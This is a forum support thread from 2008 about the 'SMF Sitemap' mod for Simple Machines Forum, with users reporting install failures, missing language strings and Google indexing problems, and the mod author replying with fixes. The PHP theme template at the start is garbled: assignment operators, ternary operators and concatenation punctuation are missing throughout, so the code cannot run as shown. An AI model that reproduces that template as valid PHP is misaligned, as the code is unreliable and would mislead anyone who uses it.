if (isset($_GET['board']) || isset($_GET['topic']))
$current_action 'forum';

if ($context['current_action'] == 'theme')
$current_action = isset($_REQUEST['sa']) && $_REQUEST['sa'] == 'pick' 'profile' 'admin';

// Are we using right-to-left orientation?
if ($context['right_to_left'])
{
$first 'last';
$last 'first';
}
else
{
$first 'first';
$last 'last';
}

// Show the start of the tab section.
echo '
        <div id="topmenu">
           <ul>'
;
                    // Show the [home] button.
echo '<li><a' $current_action=='home' ' class="current"' '' ' href="'$scripturl'"><span>' $txt[103] , '</span></a></li>';

                             if(
$settings['TPortal_front_type']!='boardindex')
                    // Show the [forum] button.
                        echo '<li><a' $current_action=='forum' ' class="current"' '' ' href="'$scripturl'?action=forum"><span>' $txt['tp-forum'] , '</span></a></li>';

                    // Show the [help] button.
                              
echo '<li><a' $current_action=='help' ' class="current"' '' ' href="'$scripturl'?action=help"><span>' $txt[119] , '</span></a></li>';

                    // How about the [search] button?
if ($context['allow_search'])
echo '<li><a' $current_action=='search' ' class="current"' '' ' href="'$scripturl'?action=search"><span>' $txt[182] , '</span></a></li>';

                    // The [calendar]!
if ($context['allow_calendar'])
echo '<li><a' $current_action=='calendar' ' class="current"' '' ' href="'$scripturl'?action=calendar"><span>' $txt['calendar24'] , '</span></a></li>'

                    // Is the user allowed to administrate at all? ([admin])
if ($context['allow_admin'])
echo '<li><a' $current_action=='admin' ' class="current"' '' ' href="'$scripturl'?action=admin"><span>' $txt[2] , '</span></a></li>';

              // Edit Profile... [profile]
if ($context['allow_edit_profile'])
echo '<li><a' $current_action=='profile' ' class="current"' '' ' href="'$scripturl'?action=profile"><span>' $txt[79] , '</span></a></li>';

                    // Go to PM center... [pm]
if ($context['user']['is_logged'] && $context['allow_pm'])
echo '<li><a' $current_action=='pm' ' class="current"' '' ' href="'$scripturl'?action=pm"><span>' $txt['pm_short'] , ' '$context['user']['unread_messages'] > '[<strong>'$context['user']['unread_messages'] . '</strong>]' '' '</span></a></li>';

                   // the [member] list button
                        if ($context['allow_memberlist'])
                        echo '<li><a ' $current_action=='mlist' ' class="current"' '' ' href="'$scripturl'?action=mlist"><span>' $txt[331] , '</span></a></li>';

                   // If the user is a guest, show [login] button.
                        if ($context['user']['is_guest'])
                        echo '<li><a ' $current_action=='login' ' class="current"' '' ' href="'$scripturl'?action=login"><span>' $txt[34] , '</span></a></li>';

                    // If the user is a guest, also show [register] button.
                        if ($context['user']['is_guest'])
                        echo '<li><a ' $current_action=='register' ' class="current"' '' ' href="'$scripturl'?action=register"><span>' $txt[97] , '</span></a></li>';

                    // Otherwise, they might want to [logout]...
if ($context['user']['is_logged'])
echo '<li><a ' $current_action=='logout' ' class="current"' '' 'href="'$scripturl'?action=logout;sesc='$context['session_id'], '"><span>' $txt[108] , '</span></a></li>';

echo '
</ul>
        </div>'
;

}

// Generate a strip of buttons.
function template_button_strip($button_strip$direction 'top'$force_reset false$custom_td '')
{
global $settings$buttons$context$txt$scripturl;

// Create the buttons...
foreach ($button_strip as $key => $value)
{
if (isset($value['test']) && empty($context[$value['test']]))
{
unset($button_strip[$key]);
continue;
}
elseif (!isset($buttons[$key]) || $force_reset)
$buttons[$key] = '<a href="' $value['url'] . '" ' .( isset($value['custom']) ? $value['custom'] : '') . '>' $txt[$value['text']] . '</a>';

$button_strip[$key] = $buttons[$key];
}

if (empty($button_strip))
return '<td>&nbsp;</td>';

echo '
<td class="'
$direction == 'top' 'main' 'mirror''tab_' $context['right_to_left'] ? 'last' 'first' '">&nbsp;</td>
<td class="'
$direction == 'top' 'main' 'mirror''tab_back">'implode(' &nbsp;|&nbsp; '$button_strip) , '</td>
<td class="'
$direction == 'top' 'main' 'mirror''tab_' $context['right_to_left'] ? 'first' 'last' '">&nbsp;</td>';
}

?>



If you need to check the site, it is http://www.gptlatino.webspacemania.com/index.php (testing :))
And the skin is outline

As it's no a tinyportal.net theme i guess the modification to the php fiel should be different, am I right?
Title: Re: SMF Sitemap
Post by: SlammedDime on March 27, 2008, 10:08:50 AM
Code (Find) Select
            <span class="smalltext">', theme_copyright(), '
            <br />', tportal_version() , ' | Theme by <a href="http://www.dzinerstudio.com"><b>DzinerStudio</b></a></span>';


Code (Replace) Select
            <span class="smalltext">', theme_copyright(), '
            <br />', tportal_version() , ' | Theme by <a href="http://www.dzinerstudio.com"><b>DzinerStudio</b></a> | <a href="'.$scripturl.'?action=sitemap">Sitemap</a></span>';
Title: Re: SMF Sitemap
Post by: malcomxar on March 27, 2008, 12:46:13 PM
Thanks slammed :)
It worked!! You rock!  :) :) :) :)
Title: Re: SMF Sitemap
Post by: waring192 on March 28, 2008, 04:42:41 AM
Hi there, im having a small problem. Sitemap has been working fine but. The url in the XML is slightly diffrent to the normall one. Google also knows that:

Sitemap type Web
Submitted Mar 27, 2008
Last downloaded by Google Mar 27, 2008
Total URLs in Sitemap 132
Indexed URLs in Sitemap 0

In the XML the pages are listed like:

http://www.thepropertyforums.co.uk/forum/index.php?board=4.0

but google is indexing them like:

www.thepropertyforums.co.uk/forum/index.php?board=4

any ideas?
Title: Re: SMF Sitemap
Post by: cru on March 28, 2008, 04:47:54 AM
hi, i have been using this mod effectively on my other sites, but in my new site where im working on locally, i get this error:
Execute Modification  ./index.php  Test successful
2. Execute Modification ./Sources/ModSettings.php Test successful
3. Execute Modification ./Themes/default/index.template.php Test failed
4. Execute Modification ./Themes/default/languages/Help.english.php Test successful
5. Execute Modification ./Themes/default/languages/Modifications.english.php Test successful
6. Execute Modification ./Themes/default/languages/Who.english.php Test successful
7. Execute Modification ./Themes/default/style.css Test successful
8. Extract File ./Sources/Sitemap.php
9. Extract File ./Themes/default/Sitemap.template.php
10. Execute Code add_settings.php


im using 1.1.4 and TP0.9.8 with the following mods:
1.     Auto Embed Video Clips      2.1.5      
2.    New Topic Button    1.0    
3.    TinyPortal    0.983    
Title: Re: SMF Sitemap
Post by: SlammedDime on March 28, 2008, 02:40:58 PM
Quote from: waring192 on March 28, 2008, 04:42:41 AM
Hi there, im having a small problem. Sitemap has been working fine but. The url in the XML is slightly diffrent to the normall one. Google also knows that:

Sitemap type Web
Submitted Mar 27, 2008
Last downloaded by Google Mar 27, 2008
Total URLs in Sitemap 132
Indexed URLs in Sitemap 0

In the XML the pages are listed like:

http://www.thepropertyforums.co.uk/forum/index.php?board=4.0

but google is indexing them like:

www.thepropertyforums.co.uk/forum/index.php?board=4

any ideas?
That's interesting indeed.  Everything looks good on your site, so I'm not quite sure why google would be indexing that way.

cru: Please see the bottom of the first post of this topic.  I've modified it to include instructions for those that have TP.
Title: Re: SMF Sitemap
Post by: waring192 on March 28, 2008, 03:19:57 PM
will you be able to have a look into it for me? will it be effecting anything?
Title: Re: SMF Sitemap
Post by: SlammedDime on March 28, 2008, 03:27:59 PM
There's nothing wrong on your end from what I can tell.  It looks to be a google problem.  I'm not sure how much help it will be, but perhaps you can try contacting them.
Title: Re: SMF Sitemap
Post by: Eliana Tamerin on March 28, 2008, 03:41:01 PM
I know it's possible to decide whether google indexes your sites as http://www.yourdomain.com or www.yourdomain.com or yourdomain.com. So you can set that in the Webmasters control panel.

Otherwise, http://www.thepropertyforums.co.uk/forum/index.php?board=4 works perfectly fine. Even http://www.thepropertyforums.co.uk/forum/index.php?topic=4 would work just fine, the .x only comes into play when looking for an exact page.
Title: Re: SMF Sitemap
Post by: Alpay on March 31, 2008, 05:52:54 PM
Hi ;
do you thinkin adaptation for modification on smf version 2.0 beta 3 ?
Title: Re: SMF Sitemap
Post by: SlammedDime on April 01, 2008, 04:02:21 AM
I won't be doing a 2.0 version until at least May when I get out of school.  As it is only Beta and shouldn't be used in a production environment, I don't see a need to rush on it.  :)
Title: Re: SMF Sitemap
Post by: Harvest on April 09, 2008, 06:09:06 PM
Has anyone tried integrating sitemap with pretty urls, so that it generates propper links?
Regards
Title: Re: SMF Sitemap
Post by: SlammedDime on April 10, 2008, 11:23:41 AM
It probably wouldn't be too difficult.  When I code up the 2.0 version, I'll look into it and implement it in the 1.1.4 version as well.
Title: Re: SMF Sitemap
Post by: Harvest on April 10, 2008, 01:22:39 PM
Dannii already wrote a solution here:

http://www.simplemachines.org/community/index.php?topic=146969.msg1503178#msg1503178

Regards
Title: Re: SMF Sitemap
Post by: jmil on April 10, 2008, 01:29:56 PM
Alright - I have read every link I can find so a bit of help please.

Installed the Mod no problems - but I do not get the Sitemap link at the bottom.

Version 1.1.4
Template - Black 45
site - www.fourms.midatlanticxriders.com (http://www.fourms.midatlanticxriders.com)

I know the solution in in here but it was toooo much info in one thred to sort out.


Title: Re: SMF Sitemap
Post by: SlammedDime on April 10, 2008, 07:05:48 PM
Any mod you install will only install on the SMF Core theme (default theme).  You will need to manually add the link to any other theme you have.

My recommendation is to use the SMF Package Parser (google search) and upload my mod to the parser (the one a few posts back that I attached), and make the theme changes it prescribes. :)
Title: Re: SMF Sitemap
Post by: ekene on April 17, 2008, 12:18:10 PM
Please what url do I submit in google sitemap. My froum url is http://howudey.com and the Sitemap url is for XML is http://www.howudey.com/index.php?action=sitemap;xml.

Google does not accept the above Url, what do I do to resolve it.
Title: Re: SMF Sitemap
Post by: SlammedDime on April 17, 2008, 01:04:12 PM
The above url is the correct one.  What does google say?

In the box you input the url, you should only be putting 'index.php?action=sitemap;xml', not the entire url.
Title: Re: SMF Sitemap
Post by: Miker2006 on April 18, 2008, 04:25:02 PM
I just installed SMF Sitemap on the DilberMC Theme and SMF 1.1.4  Everything seems to work and I edited the DilberMC so it shows the Sitemap link on the home page of the forums. I then thought I had better look at the error logs just in case something went wrong.  I have the following errors and am not sure how to address them... I am really new to PHP and to SMF. Can anyone help me?  Here are the errors:

   Mike   Today at 04:17:50 PM 
24.150.106.234     ad8644cb860260f4c356f70c8e9ee5dd 
http://gmpowertrain.ca/forum/index.php?action=sitemap 
8: Undefined index: sitemap_boards
File: /home/gmpo4118/public_html/forum/Themes/dilbermc/Sitemap.template.php (eval?)
Line: 131

   Mike   Today at 04:17:50 PM 
24.150.106.234     ad8644cb860260f4c356f70c8e9ee5dd 
http://gmpowertrain.ca/forum/index.php?action=sitemap 
8: Undefined index: sitemap
File: /home/gmpo4118/public_html/forum/Themes/dilbermc/Sitemap.template.php (eval?)
Line: 9

   Mike   Today at 04:17:50 PM 
24.150.106.234     ad8644cb860260f4c356f70c8e9ee5dd 
http://gmpowertrain.ca/forum/index.php?action=sitemap 
8: Undefined index: sitemap
File: /home/gmpo4118/public_html/forum/Sources/Sitemap.php
Line: 29

   Mike   Today at 04:17:50 PM 
24.150.106.234     ad8644cb860260f4c356f70c8e9ee5dd 
http://gmpowertrain.ca/forum/index.php?action=sitemap 
8: Undefined index: sitemap
File: /home/gmpo4118/public_html/forum/Sources/Sitemap.php
Line: 22

Thanks in advance for your help and time,
Mike
Title: Re: SMF Sitemap
Post by: SlammedDime on April 18, 2008, 08:15:13 PM
You're missing the language strings.  If you have a Modifications.english.php in your Theme's language directory, you'll need to copy the language strings there as well.
Title: Re: SMF Sitemap
Post by: Miker2006 on April 18, 2008, 09:28:04 PM
I just copied the Modifications.english.php from the default theme directory and that seemed to have done the trick!  Thank you so much for the solution and the Mod!

I do have another question, please excuse my ignorance. Since my forum is in a subdirectory and your Mod gives my a sitemap for the forum, can I just edit or add the site map to include links from my main website? Or should 2 sitemaps be used?

Thanks again!!!
Mike

Quote from: SlammedDime on April 18, 2008, 08:15:13 PM
You're missing the language strings.  If you have a Modifications.english.php in your Theme's language directory, you'll need to copy the language strings there as well.
Quote from: SlammedDime on April 18, 2008, 08:15:13 PM
You're missing the language strings.  If you have a Modifications.english.php in your Theme's language directory, you'll need to copy the language strings there as well.
Title: Re: SMF Sitemap
Post by: Miker2006 on April 18, 2008, 09:37:28 PM
I think I spoke too soon, after copying the Modifications.english.php I made a post and am now getting the following:

  Mike   Today at 09:33:29 PM 
24.150.106.234     af2097e6243803cc05b3e7b09c61eefb 
http://gmpowertrain.ca/forum/index.php?topic=29.msg36 
8: Undefined variable: message
File: /home/gmpo4118/public_html/forum/Themes/default/languages/index.english-utf8.php (eval?)
Line: 20

   Mike   Today at 09:32:57 PM 
24.150.106.234     af2097e6243803cc05b3e7b09c61eefb 
http://gmpowertrain.ca/forum/index.php?topic=29.0 
8: Undefined variable: message
File: /home/gmpo4118/public_html/forum/Themes/default/languages/index.english-utf8.php (eval?)
Line: 20

   Mike   Today at 09:32:24 PM 
24.150.106.234     af2097e6243803cc05b3e7b09c61eefb 
http://gmpowertrain.ca/forum/index.php?topic=29.0 
8: Undefined variable: message
File: /home/gmpo4118/public_html/forum/Themes/default/languages/index.english-utf8.php (eval?)
Line: 20

Should I not have copied this file? My theme (DilberMC) I am using did not have a Modifications.english.php in it's language directory?

Mike


Quote from: Miker2006 on April 18, 2008, 09:28:04 PM
I just copied the Modifications.english.php from the default theme directory and that seemed to have done the trick!  Thank you so much for the solution and the Mod!

I do have another question, please excuse my ignorance. Since my forum is in a subdirectory and your Mod gives my a sitemap for the forum, can I just edit or add the site map to include links from my main website? Or should 2 sitemaps be used?

Thanks again!!!
Mike

Quote from: SlammedDime on April 18, 2008, 08:15:13 PM
You're missing the language strings.  If you have a Modifications.english.php in your Theme's language directory, you'll need to copy the language strings there as well.
Quote from: SlammedDime on April 18, 2008, 08:15:13 PM
You're missing the language strings.  If you have a Modifications.english.php in your Theme's language directory, you'll need to copy the language strings there as well.
Title: Re: SMF Sitemap
Post by: PrizeLive.com on April 21, 2008, 11:00:11 PM
Just installed this mod and it's working, however, there appears to be a bug.

It's showing boards that are in my Staff area (even with me logged out) to anyone.

I'm using version 1.1.4 and the Default theme, English language.
Title: Re: SMF Sitemap
Post by: SlammedDime on April 22, 2008, 03:59:31 AM
It definitely should not be doing that.  Link?
Title: Re: SMF Sitemap
Post by: PrizeLive.com on April 22, 2008, 09:37:40 AM
Quote from: SlammedDime on April 22, 2008, 03:59:31 AM
It definitely should not be doing that.  Link?

Ahh you're right. It's working fine. Sorry. :)
Title: Re: SMF Sitemap
Post by: miamizx on April 23, 2008, 05:00:37 PM
can someone take a quick look at my site and tell me if I installed this correctly, had to do it manually.

http://aquariumclassifieds.com
Title: Re: SMF Sitemap
Post by: SlammedDime on April 23, 2008, 05:22:13 PM
Looks fine, you just need to go into your Server Settings for SMF, enable queryless urls, then save, then disable it, then save.  Then you'll be good to go.
Title: Re: SMF Sitemap
Post by: PrizeLive.com on April 23, 2008, 05:24:12 PM
Quote from: SlammedDime on April 23, 2008, 05:22:13 PM
Looks fine, you just need to go into your Server Settings for SMF, enable queryless urls, then save, then disable it, then save.  Then you'll be good to go.

What does enabling queryless urls do?
Title: Re: SMF Sitemap
Post by: miamizx on April 23, 2008, 05:28:48 PM
Quote from: SlammedDime on April 23, 2008, 05:22:13 PM
Looks fine, you just need to go into your Server Settings for SMF, enable queryless urls, then save, then disable it, then save.  Then you'll be good to go.

Where is this setting, I don't see anything resembling "enable queryless urls" in my Server Settings page(s)?

Thanks again!
Title: Re: SMF Sitemap
Post by: SlammedDime on April 24, 2008, 03:47:51 AM
Sorry, its under Features and Options > Search engine friendly urls.

As for what it does: just as the title of the function implies, search engine friendly urls, to some extent anyway.
Title: Re: SMF Sitemap
Post by: miamizx on April 24, 2008, 10:20:48 AM
Quote from: SlammedDime on April 24, 2008, 03:47:51 AM
Sorry, its under Features and Options > Search engine friendly urls.

As for what it does: just as the title of the function implies, search engine friendly urls, to some extent anyway.

ok found it! now, should they stay enabled or disabled?
Title: Re: SMF Sitemap
Post by: PrizeLive.com on April 24, 2008, 10:23:08 AM
Quote from: miamizx on April 24, 2008, 10:20:48 AM
ok found it! now, should they stay enabled or disabled?

They were saying to enable it.
Title: Re: SMF Sitemap
Post by: SlammedDime on April 24, 2008, 10:48:38 AM
No, I said to enable it, save, then disable it (unless you want to keep it enabled, its up to you, but this needs to be done on some sites because of a little bug that I can't solve in the sitemap)
Title: Re: SMF Sitemap
Post by: miamizx on April 24, 2008, 11:21:49 AM
ahh ok, got it.

Thanks for the help, and great mod!
Title: Re: SMF Sitemap
Post by: PrizeLive.com on April 24, 2008, 11:38:22 AM
Quote from: SlammedDime on April 24, 2008, 10:48:38 AM
No, I said to enable it, save, then disable it (unless you want to keep it enabled, its up to you, but this needs to be done on some sites because of a little bug that I can't solve in the sitemap)

Ah my bad, thanks for clearing it up ;).
Title: Re: SMF Sitemap
Post by: dwaynewadeblade on April 26, 2008, 02:24:54 PM
hi SlammedDime...I have got a problem.Sitemap is working fine.There is a bit problem that bad working on my theme.Its on board with mootools menu(its moving menu)when ı  one go there then my menu is not working.ıts open arms all on page:(
just a page give a wrong!!others normaly working.menu ok!!ım using tiny portal 9.8 smf1.1.4 ı want so much fix it but  ı couldnt it.Plz ı need to help so much!! www.rohanonline.co.cc its my site..can u look for it.example go!  Rohan Online  > Forum > Rohan Online Karakterler > Elf  my menu not working!! and same all on this way others is nice working!!plz help!!

http://rohanonline.co.cc/forum/index.php/board,4.0.html  there  is a  bug!!
http://rohanonline.co.cc/forum/index.php?board=4.0       there is no bug!!

Title: Re: SMF Sitemap
Post by: 14WORDS on April 27, 2008, 06:54:02 PM
I have a weird problem as well. SMF Sitemap installed fine, but when I search for my forum thread titles on google all links on google lead back to the forum's Statistics Center.  :-[

http://australianidentity.net/
Title: Re: SMF Sitemap
Post by: SlammedDime on April 28, 2008, 01:18:57 PM
14WORDS: Can you please provide a specific example?  Your sitemap seems fine, so I'm not sure why google would be indexing like that.


dwaynewadeblade: Please read the few posts above yours and complete the steps that I asked the other user to do.
Title: Re: SMF Sitemap
Post by: 14WORDS on April 28, 2008, 05:39:24 PM
None of my pages are on google anymore.... I now think google is only indexing the index page.

Sitemap statistics:
Total URLs: 633
Indexed URLs: 1

Unlike my other sites which have 1000-2000+ pages indexed. This problem is weird......
Title: Re: SMF Sitemap
Post by: Miker2006 on May 03, 2008, 09:21:46 AM
How do we know whether we have the little bug you describe?  I'm not sure my sitemap is working properly, mind have a look?  www.gmpowertrain.ca/forum/  Love the MOD thanks very much!

Quote from: SlammedDime on April 24, 2008, 10:48:38 AM
No, I said to enable it, save, then disable it (unless you want to keep it enabled, its up to you, but this needs to be done on some sites because of a little bug that I can't solve in the sitemap)
Title: Re: SMF Sitemap
Post by: SlammedDime on May 03, 2008, 03:24:33 PM
Yours is correct.
Title: Re: SMF Sitemap
Post by: Miker2006 on May 05, 2008, 04:33:54 PM
Thanks for verifying it is correct and thanks again for the great mod!  :)

Quote from: SlammedDime on May 03, 2008, 03:24:33 PM
Yours is correct.
Title: Re: SMF Sitemap
Post by: bjraines on May 06, 2008, 10:46:20 PM
is there suppose to be an admin link for this mod, it doesn't show for me?

also does it support pretty URLs in the XML?
Title: Re: SMF Sitemap
Post by: SlammedDime on May 07, 2008, 05:40:45 AM
No, there is no admin link.  The additional features are located in 'Features and Settings'.  Does it support Pretty Urls (the mod), no.  There are instructions in his topic on adding support for it.  Does it support SMF's search engine friendly urls, yes.
Title: Re: SMF Sitemap
Post by: 14WORDS on May 08, 2008, 04:53:21 AM
Yep all my links in google lead back to the forum's Statistics Center except for the index link.....

Here's one thread in mention: (In the top ten forum threads)
http://australianidentity.net/index.php?topic=530.0

Here's the thread on google:
http://www.google.com.au/search?hl=en&q=leftwing+scum+in+a+spot+of+bother%3F&btnG=Search&meta=

I have never seen a problem like this before.  :-\
Title: Re: SMF Sitemap
Post by: bjraines on May 08, 2008, 08:17:33 AM
I can't  find the thread for pretty URLs capablity, does anyone have an idea?
Title: Re: SMF Sitemap
Post by: SlammedDime on May 08, 2008, 02:51:33 PM
There is no problem, its just how google has indexed your site.  I don't see the thread on your google search.  I see your stats page on google search, with mention of that thread in it because it is one of your top threads.  Google is giving more priority to your stats page than to the actual topic.  It happens.

Try this google search.. same thing only a search on the exact phrase (notice the leading ") : http://www.google.com/search?hl=en&safe=off&q=%22leftwing+scum+in+a+spot+of+bother%3F&btnG=Search

Your topics are indexed, just not how you want them... the only way to fix that is to get more meaningful content in them and have them linked by other websites as well as your own.
Title: Re: SMF Sitemap
Post by: chrisb on May 13, 2008, 08:52:06 AM
Hi there,

Are you going to update it for version 1.1.5, to make the latest updates.

Title: Re: SMF Sitemap
Post by: SlammedDime on May 13, 2008, 04:14:12 PM
The only changes it makes to SMF is to add some language strings, adds a link to the footer, and adds an action to the index.php file... I don't see any reason to update any part of the sitemap... it should work without any modification.
Title: Re: SMF Sitemap
Post by: mystified on May 21, 2008, 11:10:05 AM
I installed this manually since I couldn't install it through the acp.  I have everything done except it says to add_settings.php.  This gives me an error.  How do I do this?

Thanks
Title: Re: SMF Sitemap
Post by: SlammedDime on May 21, 2008, 02:15:59 PM
What error are you getting?

There is no need to actually run the file, but you will need to go into your admin control panel and make some configuration changes for the sitemap and save.
Title: Re: SMF Sitemap
Post by: Succubus Evaligan on May 21, 2008, 03:42:54 PM
I like stite map mod
Title: Re: SMF Sitemap
Post by: SlammedDime on May 21, 2008, 07:52:49 PM
Ok, I've uploaded two versions:
1.3.0: This will only work with SMF 2.0 and higher
1.2.2: Any of the 1.1.x series of SMF.

Development for the 1.1.x series of SMF will stop with this release unless a security hole is found (unlikely).  From this point forward, any new features or bug fixes will only be applied to the SMF 2.0 version.

Some changes:
Will work with Pretty Urls out of the box with no modifications necessary.
Uses a members display name on the topic listing, rather than the username (per request).

For those looking for the options in their Admin CP in 2.0, please see the first post of this topic.
Title: Re: SMF Sitemap
Post by: msvdm on May 22, 2008, 03:47:48 AM
SlammedDime   can you tell uss the manual edits for custom themes SMF 2 Beta 3.1 Public because when i try to see them with the package parser it shows me errors :


ERROR: The package-info.xml file is invalid!


Debugging Information
Error message: String could not be parsed as XML
Source: /home/sleepy1/public_html/PackageParser/index.php:155
Errors encountered while parsing XML file:
Stack Trace:
#0 /home/sleepy1/public_html/PackageParser/index.php(155): SimpleXMLElement->__construct('')
#1 /home/sleepy1/public_html/PackageParser/index.php(96): parsePackageInfoXML('/home/sleepy1/b...', 'install', 'theme')
#2 /home/sleepy1/public_html/PackageParser/index.php(785): parseArchive('/tmp/phpOLEIin', 'install', 'theme')
#3 {main}

XML File:
Title: Re: SMF Sitemap
Post by: Eliana Tamerin on May 22, 2008, 11:34:30 AM
http://custom.simplemachines.org/mods/index.php?action=parse;mod=755;attach=56473;smf_version=2.0_Beta_3.1_Public
Title: Re: SMF Sitemap
Post by: tkam on May 22, 2008, 12:21:51 PM
hmm i'm using pretty urls and just installed the latest version of this mod (1.2.2), it appears to work correctly until I look at the sitemap page, the xml link doesn't work and the topic pages go to the 1st page no matter which page i choose.
Title: Re: SMF Sitemap
Post by: SlammedDime on May 22, 2008, 02:50:44 PM
Quote from: msvdm on May 22, 2008, 03:47:48 AM
SlammedDime   can you tell uss the manual edits for custom themes SMF 2 Beta 3.1 Public because when i try to see them with the package parser it shows me errors :


ERROR: The package-info.xml file is invalid!


Debugging Information
Error message: String could not be parsed as XML
Source: /home/sleepy1/public_html/PackageParser/index.php:155
Errors encountered while parsing XML file:
Stack Trace:
#0 /home/sleepy1/public_html/PackageParser/index.php(155): SimpleXMLElement->__construct('')
#1 /home/sleepy1/public_html/PackageParser/index.php(96): parsePackageInfoXML('/home/sleepy1/b...', 'install', 'theme')
#2 /home/sleepy1/public_html/PackageParser/index.php(785): parseArchive('/tmp/phpOLEIin', 'install', 'theme')
#3 {main}

XML File:

As Eliana hinted at, don't use the package parser.  Use the built in one on our SMF mod site using the link she provided.

tkam: Can you show me a link.  I just double checked on my base install with Pretty Urls 0.8.3 and I had no problems.
Title: Re: SMF Sitemap
Post by: tkam on May 22, 2008, 02:55:41 PM
Here you go:  http://www.head-case.org/sitemap/
Title: Re: SMF Sitemap
Post by: SlammedDime on May 22, 2008, 02:59:18 PM
The topics work just fine.  Just because it shows each page starting at 1. doesn't mean they are the same topics, look at 'em a bit closer.

The XML is a bit peculiar though.  Are there any errors in your error log related to Sitemap.php or Sitemap.template.php
Title: Re: SMF Sitemap
Post by: msvdm on May 22, 2008, 03:04:01 PM
yes thanks to all the only one edit to make is in index.template  one line but i been not sure :)

<span class="smalltext" style="display: inline; visibility: visible; font-family: Verdana, Arial, sans-serif;"> | <a href="'.$scripturl.'?action=sitemap">', $txt['sitemap'] ,'</a></span>



before

</td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">


Title: Re: SMF Sitemap
Post by: tkam on May 22, 2008, 03:07:50 PM
Nope nothing in the error logs relating to either file.
Title: Re: SMF Sitemap
Post by: mprayii on May 28, 2008, 04:55:17 PM
I would really like to use this mod, but it seems that everything is against me :)

I am running SMF 1.1.5 with Tiny Portal 0.9.8 and these mods:

1. Global Headers Footers 1.4   [ Uninstall ] [ List Files ] [ Delete ] 
2. TinyPortal 0.983   [ Uninstall ] [ List Files ] [ Delete ] 
3. Auto Embed Video Clips 2.2   [ Uninstall ] [ List Files ] [ Delete ] 
4. SMF 1.0.13 / 1.1.5 / 2.0 b3.1 Update 1.0   [ Uninstall ] [ List Files ] [ Delete ] 
5. Ad Managment 2.3   [ Uninstall ] [ List Files ] [ Delete ] 
6. Googlebot & Spiders Mod 2.0.3   [ Uninstall ] [ List Files ] [ Delete ] 
7. nCode Image Resizer 1.0   [ Uninstall ] [ List Files ] [ Delete ] 
8. Easy Edit Meta Data 1.0   [ Uninstall ] [ List Files ] [ Delete ] 
9. SMF Gallery Lite 1.8.3   [ Uninstall ] [ List Files ] [ Delete ] 


When I try and upload/install v1.3.0 I get:

Installations actions for "SMF Sitemap":
The package you are trying to download or install is either corrupt or not compatible with this version of SMF. 

When I try and upload/install v1.2.2 I get:

4. Execute Modification ./Themes/default/index.template.php Test failed

I dont know how to create a sitemap, and have thought about doing the manual install but wanted to check here to see what you guys could tell me.

here is my site, if you need it:  http://jeepicon.com/


Thanks much for your time!
Title: Re: SMF Sitemap
Post by: mprayii on May 28, 2008, 09:29:58 PM
I read 18 pages and was able to figure it out on my own!

Great mod, thanks a bunch!

http://jeepicon.com

Cheers!
Title: Re: SMF Sitemap
Post by: L'AltroWeb on May 31, 2008, 10:05:01 AM
Hi!
I have installed and modify smf sitemap, i have see a small validation error:
change (Sitemap.template.php) this:
<td align="center" width="40">', $board['numt'], '</div></td>
to this:
<td align="center" width="40">', $board['numt'], '</td>
See here: http://darkwolf.altervista.org/forum/sitemap.php (standard php release)
or here: http://darkwolf.altervista.org/forum/sitemap.xml (for xml mod release)
:)
Title: Re: SMF Sitemap
Post by: MultiformeIngegno on June 05, 2008, 08:28:40 AM
Hi!
In the error logs I receive many and many of this errors:

Use of undefined constant sitemap_topic_count - assumed 'sitemap_topic_count'
File: /home/rock123/public_html/forum/Sources/Sitemap.php
Line: 42

Don't know why...
I use SMF 2.0 Beta 3...
Title: Re: SMF Sitemap
Post by: SlammedDime on June 05, 2008, 11:46:32 AM
Yea, i forgot some single quotes...

On line 42, Find
'max_topics' => $modSettings[sitemap_topic_count],

and replace with
'max_topics' => $modSettings['sitemap_topic_count'],
Title: Re: SMF Sitemap
Post by: MultiformeIngegno on June 05, 2008, 12:59:48 PM
Quote from: SlammedDime on June 05, 2008, 11:46:32 AM
Yea, i forgot some single quotes...

On line 42, Find
'max_topics' => $modSettings[sitemap_topic_count],

and replace with
'max_topics' => $modSettings['sitemap_topic_count'],


OK! ;)
Title: Re: SMF Sitemap
Post by: softtouch on June 05, 2008, 09:31:37 PM
SMF 1.1.5:

I do not have this line in my index.template.php of my theme tamuril_classic_red (for SMF 1.1.5):

</td>  <td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">

The sitemap works, but nothing in the admin control panel etc.
Title: Re: SMF Sitemap
Post by: SlammedDime on June 05, 2008, 10:16:58 PM
That line is right after the copyright in the default index.template.php

If there is nothing in your admin panel, make sure the language strings were installed in Modifications.english.php in the default theme and your custom theme (if that file exists in your custom theme) and make sure that the options were properly installed to the Source files.
Title: Re: SMF Sitemap
Post by: MultiformeIngegno on June 06, 2008, 08:55:26 AM
Quote from: lorenzone92 on June 05, 2008, 12:59:48 PM
Quote from: SlammedDime on June 05, 2008, 11:46:32 AM
Yea, i forgot some single quotes...

On line 42, Find
'max_topics' => $modSettings[sitemap_topic_count],

and replace with
'max_topics' => $modSettings['sitemap_topic_count'],


OK! ;)
Mhhh... no...
It rehappened today also with changes... :(
Title: Re: SMF Sitemap
Post by: SlammedDime on June 06, 2008, 12:44:38 PM
Please post the exact error.
Title: Re: SMF Sitemap
Post by: MultiformeIngegno on June 06, 2008, 12:57:50 PM
(https://www.simplemachines.org/community/proxy.php?request=http%3A%2F%2Fimg148.imageshack.us%2Fimg148%2F8504%2Frorkc1.th.png&hash=9b25312d04acea5e66121342a77062406fc30162) (http://img148.imageshack.us/my.php?image=rorkc1.png)
Title: Re: SMF Sitemap
Post by: SlammedDime on June 06, 2008, 01:50:44 PM
Make the same change above, except on line 185.
Title: Re: SMF Sitemap
Post by: X-Crew on June 06, 2008, 02:11:02 PM
Hi!

I have problems with XML sitemap!

I am using Pretty URLs mod too!

Here is the problem:
http://dloader.org/sitemap.xml or
http://dloader.org/forum/index.php?action=sitemap;xml

Any idea how to fix it?
Title: Re: SMF Sitemap
Post by: SlammedDime on June 06, 2008, 02:43:28 PM
What other mods do you have installed?
Title: Re: SMF Sitemap
Post by: MultiformeIngegno on June 06, 2008, 04:25:42 PM
Quote from: SlammedDime on June 06, 2008, 01:50:44 PM
Make the same change above, except on line 185.
Now seems ok! ;)
Title: Re: SMF Sitemap
Post by: taurean on June 07, 2008, 05:02:04 AM
for a default them under version 1.1.5 this mod is not working. i installed it but cant see any thing in admin panel. pls help
Title: Re: SMF Sitemap
Post by: X-Crew on June 07, 2008, 07:07:22 AM
Max number of topics to display in sitemap from 20000 to 2000 and now its woking! :)
Title: Re: SMF Sitemap
